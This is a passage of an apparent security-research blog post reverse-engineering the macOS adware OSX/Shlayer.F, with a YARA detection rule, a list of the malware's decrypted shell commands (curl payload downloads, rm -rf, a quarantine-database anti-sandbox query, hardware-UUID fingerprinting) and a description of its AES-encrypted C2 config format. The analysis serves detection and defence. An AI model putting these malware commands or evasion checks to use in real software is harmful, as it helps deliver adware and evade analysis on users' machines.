15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!cN6b!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f64ea2f-72c3-4b1d-b71c-156f1009a805_1308x1430.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!cN6b!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f64ea2f-72c3-4b1d-b71c-156f1009a805_1308x1430.png 424w, https://substackcdn.com/image/fetch/$s_!cN6b!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f64ea2f-72c3-4b1d-b71c-156f1009a805_1308x1430.png 848w, https://substackcdn.com/image/fetch/$s_!cN6b!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f64ea2f-72c3-4b1d-b71c-156f1009a805_1308x1430.png 1272w, https://substackcdn.com/image/fetch/$s_!cN6b!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f64ea2f-72c3-4b1d-b71c-156f1009a805_1308x1430.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!cN6b!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f64ea2f-72c3-4b1d-b71c-156f1009a805_1308x1430.png" width="1308" height="1430" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2f64ea2f-72c3-4b1d-b71c-156f1009a805_1308x1430.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1430,&quot;width&quot;:1308,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!cN6b!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f64ea2f-72c3-4b1d-b71c-156f1009a805_1308x1430.png 424w, https://substackcdn.com/image/fetch/$s_!cN6b!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f64ea2f-72c3-4b1d-b71c-156f1009a805_1308x1430.png 848w, https://substackcdn.com/image/fetch/$s_!cN6b!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f64ea2f-72c3-4b1d-b71c-156f1009a805_1308x1430.png 1272w, https://substackcdn.com/image/fetch/$s_!cN6b!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f64ea2f-72c3-4b1d-b71c-156f1009a805_1308x1430.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>encrypted Shlayer data inserted between Koly Block and the Plist file</p><p>This will lead us to the next step, which is to reverse engineer this Shlayer variant, and find how we can decrypt this blob and probably write a standalone tool to automatically decrypt it.</p><h3><strong>Reversing OSX/Shlayer.F</strong></h3><p>We are going to run an analysis on the mach-O sample <strong><a href="https://www.virustotal.com/gui/file/0fe475cc5da11e1f3ca5e0bc81d5ee406bdf4b4c428ebdab35f4dad63c0b9093">0fe475cc5da11e1f3ca5e0bc81d5ee406bdf4b4c428ebdab35f4dad63c0b9093</a></strong> that resulted from one of the modified DMG files.</p><p>The sample above is flagged by Confiant as <strong>OSX/Shlayer.F, </strong>and below is a YARA rule to detect this variant:</p><pre><code>// by Confiant 
private rule Macho
{
    meta:
        description = &#8220;private rule to match Mach-O binaries&#8221;
    condition:
        uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca
}
rule OSX/Shlayer.F
{
    meta:
        author = &#8220;taha@confiant.com&#8221;
        description = &#8220;variant F of shlayer using AES encrypted configuration embedded in the dmg&#8221;
    strings:
        $dmg_tag = &#8220;&lt;/plist&gt;&#8221; ascii
        $s3 = &#8220;.s3&#8221; ascii
        $shlayer_conf1 = &#8220;lu&#8221;
        $shlayer_conf2 = &#8220;bdu&#8221;
        $shlayer_conf3 = &#8220;upb&#8221;
        $shlayer_conf4 = &#8220;du&#8221;
        $cccrypt = &#8220;_CCCrypt&#8221; ascii
    condition:
        Macho and $dmg_tag and $cccrypt and $s3 and any of ($shlayer_conf*)
}</code></pre><p>String decryption as we saw in many of our <a href="https://blog.confiant.com/osx-hydromac-a-new-macos-malware-leaked-from-a-flashcards-app-2af28f1caa9e">previous</a> blog posts is often enough to determine what the sample does in almost (if not all) MacOS Adware.</p><p>We have automated this string decryption process at scale for specific malware families including now <strong>OSX/Shlayer.F</strong>, and below is the output for this specific sample:</p><pre><code> encrypted string ref in function 0x1000073b0 decoded to : /tmp/
 encrypted string ref in function 0x100007b60 decoded to : %s/Contents/MacOS
 encrypted string ref in function 0x100008140 decoded to : %s %s &gt; /dev/null 2&gt;&amp;1
 encrypted string ref in function 0x1000094b0 decoded to : echo &#8216;%s&#8217; | tr -d &#8216;&#8217; | openssl base64 -A -e 2&gt;/dev/null | xargs | tr -d &#8216;&#8217;
 encrypted string ref in function 0x10000a0f0 decoded to : rm -rf %s &gt; /dev/null 2&gt;&amp;1
 encrypted string ref in function 0x10000a1d0 decoded to : (cd %s; ls | head -n 1)
 encrypted string ref in function 0x10000a2d0 decoded to : for FILE in %s/<em>*.app; do echo &#8220;${FILE}&#8221;; break; done;
 encrypted string ref in function 0x10000a3b0 decoded to : unzip -P %s %s -d %s &gt; /dev/null 2&gt;&amp;1
 encrypted string ref in function 0x10000c7a0 decoded to : curl -f0L -o %s &#8216;%s&#8217; &gt; /dev/null 2&gt;&amp;1
 encrypted string ref in function 0x10000e160 decoded to : curl -L &#8216;%s&#8217; &gt; /dev/null 2&gt;&amp;1
 encrypted string ref in function 0x10001a690 decoded to : curl -L &#8216;%s&#8217; 2&gt;/dev/null
 encrypted string ref in function 0x10001b340 decoded to : sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV*</em> &#8216;select LSQuarantineDataURLString from LSQuarantineEvent where LSQuarantineDataURLString like &#8220;%s3.amazonaws.com%&#8221; order by LSQuarantineTimeStamp desc limit 5&#8217;
 encrypted string ref in function 0x10001ff50 decoded to : hdiutil info -plist | perl -0777pe &#8216;s|&lt;data&gt;\s<em>*(.*</em>?)\s<em>*&lt;/data&gt;|&lt;string&gt;$1&lt;/string&gt;|gs&#8217; | plutil -convert json -r -o - -- -
 encrypted string ref in function 0x100020110 decoded to : Install.command
 encrypted string ref in function 0x1000201d0 decoded to : %s
 encrypted string ref in function 0x100020260 decoded to : /Volumes/Install
 encrypted string ref in function 0x100020320 decoded to : %s %i
 encrypted string ref in function 0x100020840 decoded to : for FILE in %s/.hidden/*</em>.command; do echo &#8220;${FILE}&#8221;; break; done;
 encrypted string ref in function 0x100020970 decoded to : system<em>_profiler SPHardwareDataType | awk &#8216;/UUID/ { print $3; }&#8217;
 encrypted string ref in function 0x100020a50 decoded to : defaults read /System/Library/CoreServices/SystemVersion.plist ProductVersion</em></code></pre><blockquote><p><em>Note the decrypted string that corresponds to commands, <strong>OSX/Shlayer.F </strong>executes them via <a href="https://opensource.apple.com/source/Libc/Libc-167/gen.subproj/popen.c.auto.html">popen</a>() function.</em></p></blockquote><p>Meanwhile, after reviewing the techniques I noticed the following :</p><ul><li><p>Commands were introduced in this <strong>OSX/Shlayer.F </strong>variant consisting of querying QuarantineEventsV2 database; A variation of this technique was already seen in other malware like OSX/Bundlore as reported by UPTYCS <a href="https://www.uptycs.com/blog/macos-bundlore-are-attackers-testing-new-code">here</a>, but so far not in Shlayer. And mapping mounted volumes parsing out specific information.</p></li><li><p>I couldn&#8217;t find a C2 configuration in the decrypted strings, so we will have to find where this config was stored (see below)</p></li></ul><p>As mentioned above, this variant <strong>OSX/Shlayer.F </strong>queries <a href="https://nixhacker.com/security-protection-in-macos-1/">QuarantineEventsV2</a> as follows:</p><pre><code>sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* &#8216;select LSQuarantineDataURLString from LSQuarantineEvent where LSQuarantineDataURLString like &#8220;%s3.amazonaws.com%&#8221; order by LSQuarantineTimeStamp desc limit 5&#8217;</code></pre><p>The query consists of determining if the .DMG file was downloaded from an Amazon S3 bucket. This is inline with what we reported in a previous <a href="https://medium.com/confiant-blog/how-file-hashes-fail-as-a-malware-detection-heuristic-2e1fb310e8cd">blog post</a>, regarding Shlayer campaigns abusing Amazon S3 buckets.</p><p>I could also see this used as an anti-sandbox check, since sandbox analysis systems won&#8217;t have such entry in the <strong>LSQuarantineEvent</strong> table when submitting a sample for analysis.</p><p>Now back to the turning point, which is extracting the C2 configuration for this variant <strong>OSX/Shlayer.F. </strong>So how does the extraction works?</p><p>For that, we have a first hint in the following command that is executed by <strong>OSX/Shlayer.F </strong>variant<strong>:</strong></p><pre><code>hdiutil info -plist | perl -0777pe &#8216;s|&lt;data&gt;\\s*(.*?)\\s*&lt;/data&gt;|&lt;string&gt;$1&lt;/string&gt;|gs&#8217; | plutil -convert json -r -o - -- -</code></pre><p>When run, this command will list mounted images, and <strong>OSX/Shlayer.F</strong> will read the<strong> image-path</strong> value to get the path on disk to the parent DMG file mounted:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!dxoY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a40ab5e-3a19-4730-8e37-7d98c9f5b0e1_875x404.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!dxoY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a40ab5e-3a19-4730-8e37-7d98c9f5b0e1_875x404.png 424w, https://substackcdn.com/image/fetch/$s_!dxoY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a40ab5e-3a19-4730-8e37-7d98c9f5b0e1_875x404.png 848w, https://substackcdn.com/image/fetch/$s_!dxoY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a40ab5e-3a19-4730-8e37-7d98c9f5b0e1_875x404.png 1272w, https://substackcdn.com/image/fetch/$s_!dxoY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a40ab5e-3a19-4730-8e37-7d98c9f5b0e1_875x404.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!dxoY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a40ab5e-3a19-4730-8e37-7d98c9f5b0e1_875x404.png" width="875" height="404" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5a40ab5e-3a19-4730-8e37-7d98c9f5b0e1_875x404.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:404,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!dxoY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a40ab5e-3a19-4730-8e37-7d98c9f5b0e1_875x404.png 424w, https://substackcdn.com/image/fetch/$s_!dxoY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a40ab5e-3a19-4730-8e37-7d98c9f5b0e1_875x404.png 848w, https://substackcdn.com/image/fetch/$s_!dxoY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a40ab5e-3a19-4730-8e37-7d98c9f5b0e1_875x404.png 1272w, https://substackcdn.com/image/fetch/$s_!dxoY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a40ab5e-3a19-4730-8e37-7d98c9f5b0e1_875x404.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Shlayer.F locating the parent dmg file</p><p>Then the parent DMG is opened and read block by block, the <strong>&lt;/plist&gt; </strong>tag is used to locate the encrypted data that sits between this tag and the koli block.</p><p>After reversing <strong>OSX/Shlayer.F</strong> and locating the config decrypting code <strong><a href="https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/CCCrypt.3cc.html">_CCCrypt</a></strong> is used with <strong><a href="https://opensource.apple.com/source/CommonCrypto/CommonCrypto-36064/CommonCrypto/CommonCryptor.h">kCCAlgorithmAES128</a> </strong>algorithm to decrypt this data, right after extracting the <strong>AES key</strong> and <strong>IV</strong>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!LcXV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcab80b36-7b88-4608-880b-dc48ef86e468_875x389.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!LcXV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcab80b36-7b88-4608-880b-dc48ef86e468_875x389.png 424w, https://substackcdn.com/image/fetch/$s_!LcXV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcab80b36-7b88-4608-880b-dc48ef86e468_875x389.png 848w, https://substackcdn.com/image/fetch/$s_!LcXV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcab80b36-7b88-4608-880b-dc48ef86e468_875x389.png 1272w, https://substackcdn.com/image/fetch/$s_!LcXV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcab80b36-7b88-4608-880b-dc48ef86e468_875x389.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!LcXV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcab80b36-7b88-4608-880b-dc48ef86e468_875x389.png" width="875" height="389" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cab80b36-7b88-4608-880b-dc48ef86e468_875x389.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:389,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!LcXV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcab80b36-7b88-4608-880b-dc48ef86e468_875x389.png 424w, https://substackcdn.com/image/fetch/$s_!LcXV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcab80b36-7b88-4608-880b-dc48ef86e468_875x389.png 848w, https://substackcdn.com/image/fetch/$s_!LcXV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcab80b36-7b88-4608-880b-dc48ef86e468_875x389.png 1272w, https://substackcdn.com/image/fetch/$s_!LcXV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcab80b36-7b88-4608-880b-dc48ef86e468_875x389.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>OSX/Shlayer.F </strong>C2 config blob decryption routine</p><p>The <strong>AES key</strong> and <strong>IV</strong> are extracted and are present at the beginning of the encrypted blob following this format:</p><ul><li><p>The first 0x20 bytes corresponds to an AES key.</p></li><li><p>Followed by 0x10 bytes corresponding to the IV.</p></li><li><p>Followed by the c2 config encrypted data.</p></li></ul><p>I wrote a standalone command line script to do the above:</p><p><strong><a href="https://gist.githubusercontent.com/tahaconfiant/d6d8746e56cbf0458358ed304a5118ac/raw/0e9c8bfb0a4bbf9c670c16f59cb378a0c1323e5d/shlayer_decrypt.py">https://gist.githubusercontent.com/tahaconfiant/d6d8746e56cbf0458358ed304a5118ac/raw/0e9c8bfb0a4bbf9c670c16f59cb378a0c1323e5d/shlayer_decrypt.py</a></strong></p><p>If you don&#8217;t like command line scripts, my colleague</p><p><a href="https://medium.com/u/2c3f3d52c6be?source=post_page---user_mention--73586b6e7f8d---------------------------------------">Eliya Stein</a></p><p>wrote a CyberChef <a href="https://gchq.github.io/CyberChef/#recipe=Comment('Extract%20and%20decrypt%20the%20config%20from%20Shlayer%20DMGs.%5Cn%5CnBy%20Eliya%20Stein%20of%20Confiant')To_Hex('None',0)Register('3c2f706c6973743e(%5Ba-z0-9%5D%5Ba-z0-9%5D)((%5Ba-z0-9%5D%5Ba-z0-9%5D)%7B32%7D)((%5Ba-z0-9%5D%5Ba-z0-9%5D)%7B16%7D)(.*?)6b6f6c79',false,false,false)Find_/_Replace(%7B'option':'Regex','string':'.*3c2f706c6973743e(%5Ba-z0-9%5D%5Ba-z0-9%5D)((%5Ba-z0-9%5D%5Ba-z0-9%5D)%7B48%7D)'%7D,'',true,false,true,false)Find_/_Replace(%7B'option':'Regex','string':'6b6f6c79.*'%7D,'',true,false,true,false)AES_Decrypt(%7B'option':'Hex','string':'$R1'%7D,%7B'option':'Hex','string':'$R3'%7D,'CBC','Hex','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)">recipe</a> that can be used to decrypt <strong>OSX/Shlayer.F </strong>configs just by dragging and dropping DMG files, try it out!</p><h2><strong>Conclusion</strong></h2><p>After analyzing a public corpus of <strong>OSX/Shlayer.F </strong>present in online repositories, we found that in the config, the field <strong>du</strong> (corresponding to the final recorded download url and its specific parameters) sometimes a parameter <strong>client_ip </strong>was present with the victim IP address. This allowed us to draw a map of previous <strong>OSX/Shlayer.F </strong>infections during Q1-Q3 2022:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WXxh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc364fe-cbc9-48e9-9e7e-8730fc8a2a4c_1092x686.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WXxh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc364fe-cbc9-48e9-9e7e-8730fc8a2a4c_1092x686.png 424w, https://substackcdn.com/image/fetch/$s_!WXxh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc364fe-cbc9-48e9-9e7e-8730fc8a2a4c_1092x686.png 848w, https://substackcdn.com/image/fetch/$s_!WXxh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc364fe-cbc9-48e9-9e7e-8730fc8a2a4c_1092x686.png 1272w, https://substackcdn.com/image/fetch/$s_!WXxh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc364fe-cbc9-48e9-9e7e-8730fc8a2a4c_1092x686.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WXxh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc364fe-cbc9-48e9-9e7e-8730fc8a2a4c_1092x686.png" width="1092" height="686" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5bc364fe-cbc9-48e9-9e7e-8730fc8a2a4c_1092x686.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:686,&quot;width&quot;:1092,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!WXxh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc364fe-cbc9-48e9-9e7e-8730fc8a2a4c_1092x686.png 424w, https://substackcdn.com/image/fetch/$s_!WXxh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc364fe-cbc9-48e9-9e7e-8730fc8a2a4c_1092x686.png 848w, https://substackcdn.com/image/fetch/$s_!WXxh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc364fe-cbc9-48e9-9e7e-8730fc8a2a4c_1092x686.png 1272w, https://substackcdn.com/image/fetch/$s_!WXxh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc364fe-cbc9-48e9-9e7e-8730fc8a2a4c_1092x686.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft 